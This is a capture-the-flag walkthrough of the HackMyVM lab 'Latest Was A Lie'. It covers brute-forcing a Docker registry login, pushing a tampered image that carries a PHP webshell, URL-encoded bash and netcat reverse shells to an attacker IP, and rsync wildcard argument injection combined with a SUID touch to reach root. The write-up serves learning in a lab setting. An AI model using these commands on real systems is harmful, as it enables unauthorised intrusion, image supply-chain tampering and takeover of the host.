Skip to content

WriteUp Latest Was A Lie - HackMyVM

Published:

HackMyVM

This write-up covers Latest Was A Lie from HackMyVM. It revolves around a Docker registry reachable with credentials you can recover through brute force. Being able to push again under the same image tag the platform uses lets you tamper with the PHP app running in containers until you get RCE. That pattern is a supply-chain style attack on the artifact (the image): deployment trusts whatever the registry serves, and that content can be swapped if the attacker gains push access. From there, an rsync job that expands wildcards on .txt files gets you onto the host as backupusr, and a second periodic rsync as root—plus a SUID touch to drop files where the directory is not normally writable—finishes the path to root.

HackMyVM

Table of contents

Open table of contents

Enumeration

First, identify which services the box exposes and their versions so you can decide how to proceed.

VirtualBox machine screen

The first nmap scan hits all TCP ports (-p-), treats the host as up without ICMP ping (-Pn, handy when ping is filtered but ports reply), and skips reverse DNS (-n) for a faster, more predictable scan. You get three open ports: 22 (SSH), 80 (HTTP), and 5000 (the follow-up scan shows this is not generic “upnp” but HTTP for the Docker Registry).

$ nmap -p- -Pn -n 10.0.2.15  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-07 02:59 CEST
Nmap scan report for 10.0.2.15
Host is up (0.00018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
MAC Address: 08:00:27:6F:9C:3C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds

The second nmap run targets only those ports and adds default service detection and scripts (-sV grabs banners; -sC runs the “safe” script set). That yields the specific OpenSSH build, Apache on 80, and the Docker Registry API on 5000.

$ nmap -p22,80,5000 -sVC -Pn -n 10.0.2.15  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-07 03:00 CEST
Nmap scan report for 10.0.2.15
Host is up (0.00054s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.66 ((Debian))
|_http-title: Default site
|_http-server-header: Apache/2.4.66 (Debian)
5000/tcp open  http    Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
MAC Address: 08:00:27:6F:9C:3C (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.98 seconds

$ curl http://10.0.2.15                      
<!DOCTYPE html>
<html>
<head>
  <title>Default site</title>
  <meta http-equiv="Refresh" content="10; URL=http://latestwasalie.hmv/" />
</head>
<body>
  <h1>Default site</h1>
  <p>No application configured for this host.</p>
  <p>Check the available files on this server.</p>
</body>
</html>

Requesting the site by IP returns a default page that uses <meta http-equiv="Refresh"> to send you to the hostname latestwasalie.hmv. Without that name resolving, a browser or curl will not hit the right virtual host, so you add a line to the attacker’s hosts file and query the URL by name. tee -a appends the line to /etc/hosts (with sudo because it is a system file).

echo "10.0.2.15 latestwasalie.hmv" | sudo tee -a /etc/hosts
curl http://latestwasalie.hmv

The HTML for that host includes a footer comment naming user adm, which suggests a plausible username for SSH or the Docker registry (it does not prove the account exists everywhere, but it narrows the search space).

Comment at the bottom of the markup with user adm:

...
...
    <div class="footer">
      © 2026 LWAL Platform. All rights reserved.
    </div>
  </div>
</body>
</html>
<!-- Last deployment on April 6, 2026 by adm -->

Initial access

Docker Registry credentials (port 5000)

The Docker registry serves its HTTP API on port 5000. The /v2/ path is the usual Registry HTTP API V2 endpoint; the next step is to try credentials against it.

Hydra is run with a fixed user -l adm (consistent with the HTML comment), the rockyou.txt wordlist, target 10.0.2.15, and explicit port -s 5000 because the service is not on 80. The http-get module issues GET requests to /v2/. Flags -t and -T tune parallelism; -f stops after the first valid login; -V prints every attempt (noisy but useful for debugging).

hydra -l adm -P /usr/share/wordlists/rockyou.txt 10.0.2.15 -s 5000 http-get /v2/ -t 64 -T 256 -w 1 -W -f -V

The password shows up quickly: adm:lover1.

[5000][http-get] host: 10.0.2.15   login: adm   password: lover1

Inspecting the registry with valid credentials

With HTTP basic auth (curl -u user:password) you can query standard Registry V2 endpoints:

$ curl -u adm:lover1 http://10.0.2.15:5000/v2/_catalog
{"repositories":["latestwasalie-web"]}
$ curl -u adm:lover1 http://10.0.2.15:5000/v2/latestwasalie-web/tags/list
{"name":"latestwasalie-web","tags":["latest"]}
$ curl -u adm:lover1 -s \
  -H 'Accept: application/vnd.oci.image.index.v1+json' \
  http://10.0.2.15:5000/v2/latestwasalie-web/manifests/latest
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.index.v1+json",
  "manifests": [
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "digest": "sha256:5c8cef789fd62bad53b461b01d47975b2ac36e9647ec4dc4920258efeb43ea39",
      "size": 4641,
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      }
    },
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "digest": "sha256:48c1b76fe6b5ab579468bde5fcb28788ff07dc8bf2ec492f073fee52e65ac555",
      "size": 564,
      "annotations": {
        "vnd.docker.reference.digest": "sha256:5c8cef789fd62bad53b461b01d47975b2ac36e9647ec4dc4920258efeb43ea39",
        "vnd.docker.reference.type": "attestation-manifest"
      },
      "platform": {
        "architecture": "unknown",
        "os": "unknown"
      }
    }
  ]
}

Replacing the image in the registry (same latest tag)

If you obtain credentials, you can overwrite the latest image and try to make a future redeploy pull a malicious build. To prevent that in real systems: use immutable tags, signing, and digest verification.

Pull the image from the registry, modify it with your payload, then push it back to the repository under the same tag.

Note: There are several ways to do this; here is one approach, deliberately avoiding most alternatives, though I may have missed another option.

docker login against 10.0.2.15:5000 stores credentials for push and pull to that registry (the Docker daemon will authenticate to the registry API).

Using adm:lover1.

docker login 10.0.2.15:5000

Docker workflow:

# Descarga la imagen 'latestwasalie-web:latest' desde el registro Docker
docker pull 10.0.2.15:5000/latestwasalie-web:latest
# Crea un nuevo contenedor a partir de la imagen descargada
docker create --name latestwasalie-web 10.0.2.15:5000/latestwasalie-web:latest
# Inicia el contenedor creado
docker start latestwasalie-web
# Accede al contenedor como root con una terminal interactiva bash
docker exec -u 0 -it latestwasalie-web /bin/bash

Once you are in the container from your terminal:

Append a minimal webshell to index.php: if the HTTP request includes cmd, the server runs it with system(). That only works if PHP is allowed to run commands; in many hardened setups disable_functions blocks system, exec, and similar.

echo '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>' >> /var/www/latestwasalie/index.php

Inside the container, PHP config includes zz-hardening.ini, where the disable_functions directive is set. That would block our appended snippet because those directives typically disable dangerous functions such as system(). We clear the list so PHP can execute commands again.

sed -i 's/^disable_functions=.*/disable_functions=/' /usr/local/etc/php/conf.d/zz-hardening.ini

sed -i edits the file in place. The expression replaces the line beginning with disable_functions= with an empty assignment, i.e. it clears the disabled-function list in zz-hardening.ini, so system() is allowed again (unless something else blocks it).

Exit the container.

exit

After modifying the container, commit the image and push it back:

docker commit latestwasalie-web 10.0.2.15:5000/latestwasalie-web:latest
docker push 10.0.2.15:5000/latestwasalie-web:latest

Web RCE

If the web stack is redeployed from the container image and things go your way (changes are picked up and no extra controls block it), you should get remote command execution (RCE) through the injected webshell within about a minute.

Verify with curl and cmd=id in the query string; if the webshell works, the response should include the output of id on the server (typically the web process user, e.g. www-data):

curl http://latestwasalie.hmv/?cmd=id

For an interactive shell, on the attacker machine start netcat in listen mode on your chosen port (1234 here): -l listen, -v verbose, -n no DNS, -p port.

nc -lvnp 1234

and in another terminal

The URL encodes a bash reverse-shell one-liner: nohup detaches from the TTY so the process survives short drops; redirecting to /dev/tcp/IP/port is a bash built-in for outbound TCP to the attacker. The %XX sequences are URL-encoding for spaces, quotes, and special characters so curl does not break the request.

curl http://latestwasalie.hmv/?cmd=nohup%20bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.12%2F1234%200%3E%261%27%20%3E%20%2Fdev%2Fnull%202%3E%261%20%26

On the shell, review export.php and the /data/exports directory.

Heads-up: the reverse shell will die soon, so work fast or try to upgrade to something steadier—I have not managed to stabilize it yet.

head shows the top of export.php: the app uses /data/exports and /data/state, with limits driven by environment variables (EXPORT_MAX_FILES, EXPORT_MIN_INTERVAL).

www-data@5bef2e124b8b:/var/www/latestwasalie$ head export.php
<?php
$exportDir = '/data/exports';
$stateDir  = '/data/state';

$maxFiles    = (int)(getenv('EXPORT_MAX_FILES') ?: '20');
$minInterval = (int)(getenv('EXPORT_MIN_INTERVAL') ?: '10');

if (!is_dir($exportDir)) {
    http_response_code(500);
    echo "Export directory not available.";
www-data@8a82d62a4571:/var/www/latestwasalie$ ls -la /data/exports
total 28
drwxrwxrwx 2 root root 4096 Apr  4 06:15 .
drwxr-xr-x 1 root root 4096 Apr  4 11:53 ..
-rw-r--r-- 1 1000 1000  232 Apr  4 11:53 .rsync_cmd
-rw-r--r-- 1 root root   93 Apr  4 02:40 report_20260404_024041_7a6e1f.txt
-rw-r--r-- 1 root root   93 Apr  4 02:40 report_20260404_024052_3606d7.txt
-rw-r--r-- 1 root root   93 Apr  4 02:41 report_20260404_024105_d10ac5.txt

Breaking out of the container to the host

So far you are www-data inside the application container. Next you leave that environment and land a shell on the host: the clue is the exports directory and a scheduled rsync that uses wildcards.

There is a hidden file .rsync_cmd with important details.

It records an rsync run with -e 'ssh -i ...' to localhost, copying *.txt from an exports directory—consistent with a periodic job packaging or syncing .txt reports.

cat /data/exports/.rsync_cmd
# Comando rsync ejecutado el sáb 04 abr 2026 15:00:02 CEST
rsync -e 'ssh -i /home/backupusr/.ssh/id_ed25519' -av *.txt localhost:/home/backupusr/backup/

# Usuario: backupusr
# PID: 155545
# Directorio actual: /srv/platform/appdata/exports
# Directorio destino: localhost:/home/backupusr/backup

The rsync invocation is wildcard-sensitive and the directory is writable.

With rsync, the *.txt glob is expanded by the shell that launches the command. If an attacker can write there, they can create filenames that, once expanded, inject extra rsync options (argument injection via names starting with -). The listing shows drwxrwxrwx (world-writable), so those files can be placed.

Set up a listener on port 443.

nc -lvnp 443

and run the following inside the container.

Create a .txt whose content opens an outbound connection to the attacker; chmod +x does not change the fact that rsync copies content, but it may be part of the exploit steps used here. touch with the name '-e sh shell.txt' tries to make the *.txt expansion slip an -e option into rsync (remote shell / interpreter) plus arguments so the binary treats part of the filename as flags—a classic wildcard injection vector with rsync/cron.

echo "bash -c 'busybox nc 10.0.2.12 443 -e bash'" > /data/exports/shell.txt
chmod +x /data/exports/shell.txt
touch /data/exports/'-e sh shell.txt'

After roughly a minute you get a shell as backupusr outside the container.

For stronger persistence, you can add your public key to ~/.ssh/authorized_keys over SSH, which yields a much more stable session.

Grab the user flag.

cat /home/backupusr/user.txt

Privilege escalation

Running LinPEAS surfaces a kernel CVE warning and several socket permission issues. They look like false positives, but are still worth double-checking. Either way, they are alternate privilege-escalation angles.

By the way, if anyone managed to escalate using one of the LinPEAS hits here, I would love to read how—always good to learn and share.

With pspy64 you can see another rsync copy job, this time run by root. It also looks vulnerable to wildcard use in rsync, much like the trick we used to break out of the container.

pspy is an unprivileged tool that watches process creation (polling /proc): it shows what the system runs and how often, without root. Here the binary is downloaded to the victim with wget, marked executable, and executed.

busybox wget http://10.0.2.12/pspy64
chmod +x pspy64
./pspy64

pspy64 output

You cannot read /root/backups.sh directly, but you can infer which files that script copies (auth, config, docker-compose.yml, etc.) to locate the matching directory.

The loop uses find to locate docker-compose.yml; for each path it takes the parent directory and checks for auth and config as well. It only prints directories that satisfy all three checks, cutting noise versus a plain find.

find / -name "docker-compose.yml" 2>/dev/null | while read f; do d=$(dirname "$f"); [ -e "$d/auth" ] && [ -e "$d/config" ] && echo "$d"; done

That points to /opt/registry.

backupusr@latestwasalie:~$ ls -la /opt/registry
total 28
drwxr-xr-x 5 root root 4096 abr  4 11:44 .
drwxr-xr-x 6 root root 4096 abr  4 03:09 ..
drwxr-xr-x 2 root root 4096 abr  4 02:51 auth
drwxr-xr-x 2 root root 4096 abr  4 02:52 config
drwxr-xr-x 3 root root 4096 abr  4 03:08 data
-rw-r--r-- 1 root root  421 abr  4 02:53 docker-compose.yml
-rw-rw-rw- 1 root root   97 abr  4 11:44 note.txt

You cannot create new files in that folder, but you can edit note.txt.

Searching for SUID binaries shows touch is SUID. That lets you create files under /opt/registry using that binary despite normal permission restrictions.

find / -perm -4000 lists SUID binaries: when run, the process temporarily takes the file owner’s identity (here root for /usr/bin/touch). A root-owned SUID touch can create files in locations a normal user cannot, which pairs with wildcard rsync if root’s script processes patterns like *.txt in that directory.

backupusr@latestwasalie:~$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/touch
/usr/bin/su
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn

To escalate using the rsync behavior we found:

On the attacker machine, start a netcat listener:

nc -lvnp 443

Then, on the victim as backupusr, run the attack.

Write the payload into note.txt and touch a filename starting with -e so wildcard expansion makes rsync swallow extra arguments—the same abuse family as in /data/exports, but under the registry directory and with root’s job.

echo "busybox nc 10.0.2.12 443 -e bash" > /opt/registry/note.txt
touch /opt/registry/'-e sh note.txt'

After about a minute you should catch a new reverse shell, this time as root, and can read the final flag.

cat /root/root.txt

With root access you could also edit sensitive files such as /etc/shadow or /etc/passwd to add users or change passwords, or drop your SSH public key in /root/.ssh/authorized_keys for persistence and cleaner access than the reverse shell alone.

Thanks for reading. I hope it was useful, you picked something up, or at least had fun following along—see you in the next challenge!


References

Further reading aligned with this walkthrough (Docker/registry, wildcards/rsync, SUID binaries, and process monitoring):